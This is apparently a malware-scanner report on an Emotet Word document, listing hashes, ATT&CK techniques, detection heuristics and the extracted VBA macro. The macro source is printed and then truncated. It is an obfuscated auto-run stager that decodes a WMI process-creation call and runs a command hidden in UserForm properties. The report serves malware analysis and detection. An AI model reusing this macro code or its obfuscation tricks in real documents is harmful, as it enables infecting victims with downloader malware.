Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 d14b37fdf7ad86b3…

MALICIOUS

Office (OLE)

231.2 KB Created: 2020-08-13 23:23:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: e301c4094d1267937389bd38812cb06a SHA-1: 24b822c76c6335b96b4338e4028bbe7a470c56f6 SHA-256: d14b37fdf7ad86b3794264b6df4bfd7efbfd5ae07b03e72a800be6d16ec8aa83
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate Malicious Code

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for Emotet. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' indicates the use of a hidden UserForm to execute code, likely to download and run a secondary payload. The ClamAV detection explicitly names this file as 'Doc.Downloader.Emotet-9317413-0', strongly suggesting the Emotet family.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9317413-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9317413-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4235 bytes
SHA-256: e56ab54582b3d41cd5170aeca4558355736637a8ef0c5bf51b338caa11d6c77f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "BWTCWethglqafcn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
XKSPItorblqisgb.ICXUXqycafqar
End Sub


Attribute VB_Name = "XKSPItorblqisgb"
Attribute VB_Base = "0{C37D6DD3-AD46-4130-8883-E009C1198DEB}{553F922C-13E6-4F76-9AB4-DBA60BE17E33}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function ICXUXqycafqar()
XDHHTuzodhblzjmhdyk = XKSPItorblqisgb.Zoom
EWtaT3ÄEfeU = 9
Do While EWtaT3ÄEfeU < 9 + 4
EWtaT3ÄEfeU = EWtaT3ÄEfeU + 6: DoEvents
Loop
ULTCThodjdhtxxfjrx = ChrW(XDHHTuzodhblzjmhdyk + (100 + 35) / 9)
WHEWC0ÅGtsV = Trim$("NZtncF7Ç")
TNFFKwvidhmtb = "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671i832[sahj hui12t7gGG7&^6272 gasg671nm832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671gm832[sahj hui12t7gGG7&^6272 gasg671t832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671" + ULTCThodjdhtxxfjrx + "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671:832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671in832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg6713832[sahj hui12t7gGG7&^6272 gasg6712832[sahj hui12t7gGG7&^6272 gasg671_832[sahj hui12t7gGG7&^6272 gasg671" + XKSPItorblqisgb.JWOHGqihnwjq + "832[sahj hui12t7gGG7&^6272 gasg671ro832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671ce832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671"
YAOHTjsdnaowvq = MJEPDppvnccxpik(TNFFKwvidhmtb)
Dim KUm3Y4Áw0ÔA As Integer
KUm3Y4Áw0ÔA = 4
Do While KUm3Y4Áw0ÔA < 4 + 8
KUm3Y4Áw0ÔA = KUm3Y4Áw0ÔA + 8: DoEvents
Loop
Set FDUXMyshrctscjka = CreateObject(YAOHTjsdnaowvq)
Dim QXD As String
QXD = Trim$("DHBnPjfiN")
EIENKwaxbtnu = XKSPItorblqisgb.VQGNFfwxisgrfld.ControlTipText
Dim m1ÝkpiV8ÔN As Variant
YCOQXvoapgbjrqvkdbp = RIZXFohanped + (YAOHTjsdnaowvq + ULTCThodjdhtxxfjrx + XKSPItorblqisgb.BPEMNbgmiblbnstt.ControlTipText + EIENKwaxbtnu)
Dim gs2ËgnTcKiQ As String
RQDDEaxejlmpox = YCOQXvoapgbjrqvkdbp + XKSPItorblqisgb.JWOHGqihnwjq
Dim N0ÚPb8Ì As Double
Set QBZBCumrkbaqeyvcehp = ZDUWYstwjovfsceesr(RQDDEaxejlmpox)
Dim GqCGSFodc As String
GqCGSFodc = Trim$("Mv1Ýf8ÈoY4Ý")
MILWNgicskuceskwks = Array(SQGJHxubeczqjokau + "VDYOXzxfvbwxedx LGGYEyseeastknt QKOOSdshlbctfgxvs", FDUXMyshrctscjka. _
Create(JRWQYdilpwerkk, DETVHwltkwgevhhdhup, QBZBCumrkbaqeyvcehp), THNZMcwyzxdxbn + "OYUCSdytwahgumb DGJDWruifzmtmtichxs")
Dim ZWpUHiEAD As String
ZWpUHiEAD = Trim$("VabiuX")
End Function
Function ZDUWYstwjovfsceesr(ONJIQzjmunwqieujh)
Set ZDUWYstwjovfsceesr = CreateObject(ONJIQzjmunwqieujh)
Dim yllcsJLnKV As Integer
yllcsJLnKV = 9
Do While yllcsJLnKV < 9 + 5
yllcsJLnKV = yllcsJLnKV + 1: DoEvents
Loop
ZDUWYstwjovfsceesr. _
showwindow = MSWFUnqyfwcmy + ZQRKOxdmxsrfgcsfyxt
Dim a4Õg As Object
End Function
Function MJEPDppvnccxpik(MASVYdanqtcvirmut)
TBNKFwdfehmmylc = MASVYdanqtcvirmut
Dim nGcyUDpZ As Byte
DWPFZimxnbxtwgbpsn = Split _
(TBNKFwdfehmmylc, "832[sahj hui12t7" + "gGG7&^6272 gasg671")
Dim EA4ØDwC5ÔrtA As Double
PWZOImejxugzmun = MLJDIiawdixzvotslx + Join(DWPFZimxnbxtwgbpsn, VBAUEopgofaxet)
Dim C7ÜYg As String
C7ÜYg = Trim$("nCtJBfnGcy")
MJEPDppvnccxpik = PWZOImejxugzmun
Dim kFPSyh As Object
End Function
Function JRWQYdilpwerkk()
Dim ctRwWF As String
ctRwWF = Trim$("dJSt4Äf")
Dim Hd2EFS7Ë2Àe As String
Hd2EFS7Ë2Àe = Trim$("X8åCfRdv")
Dim gbdGcnr As String
gbdGcnr = Trim$("kYI")
IHWFEfklaowipuprm = XKSPItorblqisgb.PRROUgsjnoaanbhsmq.Pages(vbOK / vbOK).Tag
Dim AhGo2ÒY3Õbo As String
AhGo2ÒY3Õbo = Trim$("yo3ÊdOZdWK")
JRWQYdilpwerkk = MJEPDppvnccxpik(IHWFEfklaowipuprm)
Dim B0ÃjUg As Intege
... (truncated)

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